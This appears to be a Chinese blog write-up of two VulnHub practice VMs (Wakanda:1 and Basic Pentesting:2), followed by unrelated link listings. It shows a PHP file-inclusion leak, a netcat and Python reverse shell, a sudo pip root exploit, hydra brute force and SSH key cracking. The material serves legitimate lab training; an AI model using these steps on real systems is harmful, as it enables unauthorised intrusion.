wakanda: 1

download url : https://download.vulnhub.com/wakanda/wakanda-1.ova

0. Description

A new Vibranium market will soon be online in the dark net. Your goal, get your hands on the root file containing the exact location of the mine.

Intermediate level

Flags: There are three flags (flag1.txt, flag2.txt, root.txt)

DHCP: Enabled

IP Address: Automatically assigned

Hint: Follow your intuitions ... and enumerate!

For any questions, feel free to contact me on Twitter: xMagass

Happy Hacking!


初始化环境

下载VirtualBox,直接双击下载好的ova文件,为virtualbox配置DHCP网络,然后开机运行即可。

1. flag1.txt

首先神器nmap扫描整个 192.168.56.0/24 网段。 nmap -sF 192.168.56.0/24

发现主机192.168.56.101开机

然后 nmap -p- -A 192.168.56.101 扫描该主机的所有端口

看到主机开了80、111、514、3333端口。

有80的话,浏览器可以直接打开。

没有太多信息。

页面上英语的意思是:

下一个开放最大的钒市场。 产品直接来自wakanda。 敬请关注!

此时使用dirb爆破主机的目录 dirb http://192.168.56.101/

依次访问以上爆破出来的路径,都没有结果。

只能查看网页源代码了,在其中看到一条隐藏信息。

直接访问这个链接,发现主页面的字改变了

法语,意思是:

下一次开辟最大的铀市场。 产品直接来自wakanda。 请继续关注!

还是不懂

考虑php的 Local File Include (本地文件包含漏洞)。

输入: http://192.168.56.101/?lang=php://filter/convert.base64-encode/resource=index

发现页面有变化:

查看源代码:

将以上字符串复制下来,明显是base64编码后的,先base64解码,得到:

可以看到 $password ="Niamey4Ever227!!!" ,因为扫描的时候发现3333端口是ssh服务,这里猜测这个密码是ssh的密码,但是测试发现用户名不是root,查看页面发现关键信息:

用 mamadou / Niamey4Ever227!!! 登陆ssh,成功。

看到这是一个Python的终端,不方便执行命令,所以使用 python -c ‘import pty; pty.spawn(“/bin/sh”)’ 将其转换为shell

这里就得到了第一个flag:

Flag : d86b9ad71ca887f4dd1dac86ba1c4dfc

2. flag2.txt

查看 /etc/passwd 文件,发现还有另外一个用户,并且其家目录中有flag2

但是当前的shell没有查看的权限。

查找devops用户的相关文件:

看到 .antivirus.py 的内容是打开/tmp/test 写入test

这里向其中写入反弹shell的命令 os.system('nc -e /bin/sh 127.0.0.1 4444') 并另开一个终端进行监听

等了一会发现主机上已经收到shell

这样就可以看flag2.txt

思路就是查看 test的mtime , 用 stat /tmp/test 可以看到,test在近5分钟内修改过,所以推测有定时任务在执行该py脚本。

获取到devops的shell后,查找.antivirus.py可以发现,每300秒,脚本就会执行一次。

grep -Ril .antivirus.py / 2>/dev/null
/lib/systemd/system/antivirus.service

mamadou@Wakanda1:/etc$ grep -Ril .antivirus.py / 2>/dev/null
/lib/systemd/system/antivirus.service
mamadou@Wakanda1:/etc$ cat /lib/systemd/system/antivirus.service
[Unit]
Description=Antivirus
After=network.target
StartLimitIntervalSec=0 [Service]
Type=simple
Restart=always
RestartSec=300
User=devops
ExecStart=/usr/bin/env python /srv/.antivirus.py [Install]
WantedBy=multi-user.target

3. flag3.txt

输入 sudo -l

看到可以以root权限运行pip 。google找到开源项目 https://github.com/0x00-0x00/FakePip 可以直接利用。

下载其中的setup.py 脚本,修改setup.py中的host为127.0.0.1 port为4433并执行。

首先新开一个终端 输入nc -lnvp 4433

然后在刚刚反弹得到的shell执行:sudo /usr/bin/pip install . --upgrade --force-reinstall

看到另一个正在监听的终端已经捕获到反弹出的shell,root权限:

这样就得到了最后一个flag

Finished

Tips

本次学到的主要内容:

  • php文件包含 https://www.exploit-db.com/docs/english/40992-web-app-penetration-testing---local-file-inclusion-(lfi).pdf
  • 终端 python -c ‘import pty; pty.spawn(“/bin/sh”)’
  • 反弹shell import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
  • sudo -l (https://github.com/0x00-0x00/FakePip)
  • ...

Basic Pentesting: 2

Download url : https://www.vulnhub.com/entry/basic-pentesting-2,241/

0. Description

This is a boot2root VM and is a continuation of the Basic Pentesting series. This series is designed to help newcomers to penetration testing develop pentesting skills and have fun exploring part of the offensive side of security.

VirtualBox is the recommended platform for this challenge (though it should also work with VMware -- however, I haven’t tested that).

This VM is a moderate step up in difficulty from the first entry in this series. If you’ve solved the first entry and have tried a few other beginner-oriented challenges, this VM should be a good next step. Once again, this challenge contains multiple initial exploitation vectors and privilege escalation vulnerabilities.

Your goal is to remotely attack the VM, gain root privileges, and read the flag located at /root/flag.txt. Once you’ve finished, try to find other vectors you might have missed! If you’d like to send me a link to your writeup, enjoyed the VM or have questions or feedback, feel free to contact me at: josiah@vt.edu

If you finished the VM, please also consider posting a writeup! Writeups help you internalize what you worked on and help anyone else who might be struggling or wants to see someone else’s process. There were lots of wonderful writeups for Basic Pentesting: 1, and I look forward to reading the writeups for this challenge.

初始化环境

下载VirtualBox,直接双击下载好的ova文件,为virtualbox配置DHCP网络,然后开机运行即可。

1. hydra user

首先nmap扫描整个网段: nmap -sF 192.168.56.0/24 , 发现存活主机 192.168.56.101

然后扫描端口: nmap -A 192.168.56.101

发现主机 22 / 80 / 139 / 445 / 514 / 8009 / 8080 端口开启

浏览器访问80端口, 无有用信息

dirb爆破目录信息: dirb http://192.168.56.101 , 看到:

然后访问 : http://192.168.56.101/development/ , 看到:

里面的内容是两封邮件,内容分别为:

这里看到,KJ 发消息说,J 的口令为弱密码,让他整改,所以考虑爆破。但是并不知道 K 和 J 的真正用户名。

然后由于 nmap 扫描时看到主机开放了139 445 端口,并且有 SMB 服务,所以尝试用kali的 enum4linux 探测主机的用户名。

enum4linux 192.168.56.101

看到 K 和 J 其实分别是 kayjan

然后用hydra爆破 jan 的密码:

成功,得到 jan 的密码 : armando

接下来,ssh 登陆 jan 用户。

2. john user

成功登陆了 jan 用户

最终目的是登陆root用户,没什么思路,看一下 kay 用户的家目录,发现了一个 pass.bak 和 ssh 公私钥

所以接下来的思路就是 ssh 登陆 kay 用户,然后查看pass.bak的内容。

这里需要了解公私钥的知识。

这里我们将 id_rsa 这个私钥拷贝下来,复制到kali 上, 用john这个工具爆破 kay 的 密码。

首先用 ssh2john 将id_rsa 转换为可以爆破的 hash 类型,名字为 key , 然后 john key 爆破:

得到 kay 的密码 beeswax

直接 ssh 登陆即可

3. sudo user

这样就登陆了 kay 账户,看到 pass.bak 的内容貌似是一个强密码

这里有一点需要注意的是:id_rsa的权限要600或700才能登陆,否则会报错 ( chmod 600 id_rsa)

尝试一下切换 root , 输入该密码,发现成功了,然后再 /root下找到了 flag.txt

Finished

Tips

  • ssh 公私钥
  • ssh2jhon 和 jhon 的用法
  • enum4linux 用法

vulnhub writeup - 持续更新的更多相关文章

  1. Vulnhub系列——持续更新

    vulnhub系列--持续更新 一 · XXE Lab: 1 ​ 使用vmware搭建靶机 ​ 扫描存活主机 ​ 找到目标主机--192.168.1.18 ​ 开始扫描目标端口 ​ 发现只开了一个80 ...

  2. bugkuct部分writeup 持续更新

    6307 校赛被打击到自闭,决心好好学习. web部分题目. 1.web2 地址 http://123.206.87.240:8002/web2/ 既然是第一个题我们应该采取查看源码的方式进行,右键之 ...

  3. 南京邮电大学网络攻防平台——WriteUp(持续更新)

    1.签到题 右键查看源代码直接获得flag 2.MD5collision(MD5碰撞) 观察源码发现md51等于QNKCDZO通过MD5加密的结果,使用在线解密发现结果为 0e830400451993 ...

  4. 神技!微信小程序(应用号)抢先入门教程(附最新案例DEMO-豆瓣电影)持续更新

    微信小程序 Demo(豆瓣电影) 由于时间的关系,没有办法写一个完整的说明,后续配合一些视频资料,请持续关注 官方文档:https://mp.weixin.qq.com/debug/wxadoc/de ...

  5. iOS系列教程 目录 (持续更新...)

      前言: 听说搞iOS的都是高富帅,身边妹子无数.咱也来玩玩.哈哈. 本篇所有内容使用的是XCode工具.Swift语言进行开发. 我现在也是学习阶段,每一篇内容都是经过自己实际编写完一遍之后,发现 ...

  6. ASP.NET MVC 5 系列 学习笔记 目录 (持续更新...)

    前言: 记得当初培训的时候,学习的还是ASP.NET,现在回想一下,图片水印.统计人数.过滤器....HttpHandler是多么的经典! 不过后来接触到了MVC,便立马爱上了它.Model-View ...

  7. git常用命令(持续更新中)

    git常用命令(持续更新中) 本地仓库操作git int                                 初始化本地仓库git add .                       ...

  8. iOS开发系列文章(持续更新……)

    iOS开发系列的文章,内容循序渐进,包含C语言.ObjC.iOS开发以及日后要写的游戏开发和Swift编程几部分内容.文章会持续更新,希望大家多多关注,如果文章对你有帮助请点赞支持,多谢! 为了方便大 ...

  9. 基于android studio的快捷开发(将持续更新)

    对于Android studio作为谷歌公司的亲儿子,自然有它的好用的地方,特别是gradle方式和快捷提示方式真的很棒.下面是我在实际开发中一些比较喜欢用的快速开发快捷键,对于基本的那些就不多说了. ...

随机推荐

  1. Redis 设计与实现 (九)--Lua

    EVAL script numkeys key [key ...] arg [arg ...] script:     你的lua脚本 numkeys:  key的个数 key:           ...

  2. 【阿里面试系列】Java线程的应用及挑战

    文章简介 上一篇文章[「阿里面试系列」搞懂并发编程,轻松应对80%的面试场景]我们了解了进程和线程的发展历史.线程的生命周期.线程的优势和使用场景,这一篇,我们从Java层面更进一步了解线程的使用.关 ...

  3. Curl 请求数据多’1‘

    今天做curl请求时遇到一个问题 数据请求回来,无缘无故多了1 加上这一行代码就就可以了:curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

  4. Leetcode 137. 只出现一次的数字 II - 题解

    Leetcode 137. 只出现一次的数字 II - 题解 137. Single Number II 在线提交: https://leetcode.com/problems/single-numb ...

  5. 实现无缝兼容ajax/websocket网页应用和服务

    为了让用户体验更好,页面前端往往是通过ajax来进行数据处理:由于浏览器的设计原因每个域名下的连接有限,这样导致了同时进行ajax数据请求效率无法得到有效地提升,为了提高效率和传统HTTP协议上的限制 ...

  6. SpringBoot入门教程(二十)Swagger2-自动生成RESTful规范API文档

    Swagger2 方式,一定会让你有不一样的开发体验:功能丰富 :支持多种注解,自动生成接口文档界面,支持在界面测试API接口功能:及时更新 :开发过程中花一点写注释的时间,就可以及时的更新API文档 ...

  7. 【java多线程】多线程的创建三种方式--笔记

    申明:线程的概念以及进程的相关概念,可以参考网络上其他资料,这里只讨论多线程是怎么实现. 一.多线程的简单理解 明白什么是多线程,小生通俗一点的理解为:在一个程序里,我想同时让这个程序完成多个任务. ...

  8. 用户身份切换之初窥企业远程用户没root还有root权限

    一直很困扰我,既然企业不让用root不能登录,那怎么操作文件呢? 原来...... su -    用来切换初始变量 $PATH $HOME等 sudo 用的时候会su到root需要root的密码,这 ...

  9. 痞子衡嵌入式:ARM Cortex-M文件那些事(3)- 工程文件(.ewp)

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家讲的是嵌入式开发里的project文件. 前面两节课里,痞子衡分别给大家介绍了嵌入式开发中的两种典型input文件:源文件(.c/.h/.s). ...

  10. eclipse中的.yml和.properties文件没有绿色叶子图标

    0.首先确认正确安装了STS插件 要在eclipse使用spring boot创建项目,必须先安装STS(Spring Tool Suite (STS) for Eclipse),如果网速给力的话可以 ...